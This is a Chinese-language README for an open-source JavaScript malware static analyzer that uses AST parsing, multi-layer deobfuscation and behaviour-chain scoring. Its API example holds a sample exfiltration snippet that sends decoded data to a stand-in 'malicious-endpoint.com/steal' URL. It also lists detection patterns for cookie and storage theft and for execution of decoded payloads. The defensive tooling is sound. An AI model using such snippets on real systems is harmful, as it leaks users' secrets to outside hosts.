abhiyanpa/js-malware-analyzer
GitHub: abhiyanpa/js-malware-analyzer
一款针对 JavaScript 的高性能静态分析与威胁检测引擎,通过 AST 解析、多层反混淆和行为链融合在代码执行前揭示恶意行为。
Stars: 0 | Forks: 0
# 🛡️ JavaScript 恶意软件分析器
[](https://nextjs.org/)
[](https://react.dev/)
[](https://tailwindcss.com/)
[](https://deepmind.google/technologies/gemini/)
[](LICENSE)
一款专为 JavaScript 设计的高性能静态分析与威胁检测引擎。通过结合深度的 AST 结构解析、签名模式匹配、熵值计算以及自动化的多层反混淆引擎,它能够在代码执行前揭示隐藏的行为、规避套件和数据泄露通道。
## ✨ 核心功能
### 🔍 静态分析与威胁扫描
- **签名与模式匹配**:使用精心整理的正则表达式签名库对脚本进行扫描,涵盖已知的混淆、重定向、剪贴板篡改、加密挖矿程序和数据抓取行为。
- **AST 结构解析**:使用 `acorn` 将代码解析为抽象语法树 (AST) 以执行结构分析(例如,检测自定义 VM 执行循环、调度器 switch 和不透明谓词)。
- **熵与 Payload 检查**:测量字符频率和代码块熵值,以识别加密字符串、打包的二进制文件和高熵值的 payload。
### 🔓 自动化多层解码器
- **分层解码**:递归解包嵌套编码,包括 Base64 (`atob`/`btoa`)、十六进制序列 (`\xHH`)、Unicode 转义 (`\uHHHH`)、URL 百分号编码以及动态字符码 (`String.fromCharCode`)。
- **上下文保留**:精确定位每个编码字符串被提取和解码的确切行号及代码上下文。
### ⛓️ 行为威胁链融合
引擎并非仅仅标记孤立的特性,而是将多种行为关联起来以还原真实意图。它会自动识别:
1. **编码 Payload 执行**:Base64/Hex 解码后紧跟动态接收器 (`eval`, `new Function`)。
2. **潜在的数据泄露**:读取敏感存储(cookies、`localStorage`)后紧跟外部连接 (`fetch`、webhook)。
3. **反分析规避套件**:同时检测 VM/沙箱特征(例如无头浏览器)以及调试器检查。
4. **混淆的网络通信**:隐藏的 API 调用或动态属性访问与数据外传行为相伴随。
### ⚖️ 校准评分与规避防御
- **收益递减曲线**:通过对同一类别中的后续得分进行动态衰减,避免“分数饱和”(即仅因包含少量 API 使用的良性脚本就达到 100/100 分)。
- **污点感知评分器**:区分读取良性设置(主题、区域设置)与窃取凭据(token、API 密钥)的行为。
- **教育性标记校准**:当存在安全的教育性标记(例如 `[SIM]`、`ctf{`、沙箱演示)时,自动降低威胁严重程度。
### 💻 开发者体验与控制台
- **玻璃拟物化 UI**:精美的仪表盘, featuring 通过 Chart.js 生成的自定义图表,可视化展示威胁类别和评分明细。
- **Monaco 代码编辑器**:完全集成的代码编辑器,支持粘贴、编辑和上传 JavaScript 代码。
- **详细的执行时间线**:按时间顺序可视化关键事件和分支执行 (CFG 分析)。
- **PDF 报告导出**:生成结构化、可供下载的 PDF 安全审计报告。
## 🛠️ 架构与核心引擎
```
graph TD
Code[JS Input Code] --> PM[Pattern Matcher]
Code --> AST[Acorn AST Parser]
Code --> ET[Entropy Calculator]
PM -->|Raw Signatures| TS[Threat Scorer]
ET -->|High Entropy Blocks| TS
AST -->|AST Walk / CFG| AST_Anal[AST Analyzer]
AST_Anal -->|Opaque Predicates, VMs, Evasive Gates| TS
Code -->|Extract Encoded| Dec[Decoder Engine]
Dec -->|Unpack Base64/Hex/Unicode/CharCodes| DecRec{Multi-Layer?}
DecRec -->|Yes| Dec
DecRec -->|No| Decrypted[Decoded Payloads]
Decrypted --> TS
TS -->|Calibration & Decays| Score[Threat Score & Risk Category]
Score --> Fusion[Behavioral Chain Fusion]
Fusion --> UI[Interactive Report & Dashboard]
Fusion --> AI[Gemini Threat Explainer API]
```
- **[编排器](src/lib/analyzer/index.js)**:编排分析 pipeline。
- **[AST 解析器](src/lib/analyzer/astAnalyzer.js)**:解析并追踪控制流分支、VM 风格的执行循环以及数据污点。
- **[模式匹配器](src/lib/analyzer/patternMatcher.js)**:签名规则的定义与评估。
- **[反混淆器](src/lib/analyzer/decoder.js)**:递归处理字符串解码。
- **[评分器](src/lib/analyzer/threatScorer.js)**:映射权重、校准和衰减。
## 🚀 快速开始
### 前置条件
- **Node.js** (v18.x 或更高版本)
- **npm**, **yarn**, 或 **pnpm**
### 安装说明
1. 克隆代码仓库:
git clone https://github.com/abhiyanpa/js-malware-analyzer.git
cd js-malware-analyzer
2. 安装依赖项:
npm install
3. 设置环境变量:
在根目录下创建一个 `.env.local` 文件:
GEMINI_API_KEY=your_gemini_api_key_here
*(注意:只有在存在有效的 Gemini 密钥时,才会动态启用 AI 洞察卡片)。*
### 运行应用
启动开发服务器:
```
npm run dev
```
在浏览器中打开 [http://localhost:3000](http://localhost:3000) 以查看应用程序。
若要构建生产版本:
```
npm run build
npm run start
```
## 🔌 API 参考
该分析器提供了一个独立的 API endpoint,用于以编程方式扫描脚本。
### `POST /api/analyze`
接收原始 JavaScript 代码或文件,并返回详尽的威胁分析明细。
#### 请求头
- `Content-Type: application/json` 或 `multipart/form-data`
#### 请求体 (JSON)
```
{
"code": "const key = atob('c2VjcmV0LWtleQ=='); fetch('https://malicious-endpoint.com/steal?data=' + key);"
}
```
#### 响应示例
```
{
"id": "analysis-kbbx5l4u-4b72j8",
"timestamp": "2026-06-05T21:28:56.000Z",
"analysisTime": "24ms",
"threatScore": 72,
"threatLevel": "HIGH",
"threatLabel": "High Risk",
"confidence": 85,
"summary": "Suspicious structural and behavioral indicators detected. May contain hidden payloads.",
"aiInsight": "This script decodes a Base64 string to retrieve a key and immediately makes an outbound network call to transmit it to an external server. This exhibits typical data harvesting behavior.",
"detections": [
{
"id": "exfil-fetch",
"name": "Outbound Fetch Request",
"category": "exfiltration",
"severity": "high",
"score": 20
}
],
"behavioralChains": [
{
"name": "Encoded Payload Execution",
"severity": "critical",
"flow": ["Encoded payload detected", "Payload decoded", "Dynamic execution attempt"]
}
],
"astFindings": {
"success": true,
"totalNodes": 128,
"maxDepth": 12,
"complexity": 5
}
}
```
## 🛡️ 许可证
本项目是开源的,基于 [MIT License](LICENSE) 提供。
标签:CMS安全, DNS 反向解析, JavaScript, 云安全监控, 威胁情报, 开发者工具, 自定义脚本, 静态分析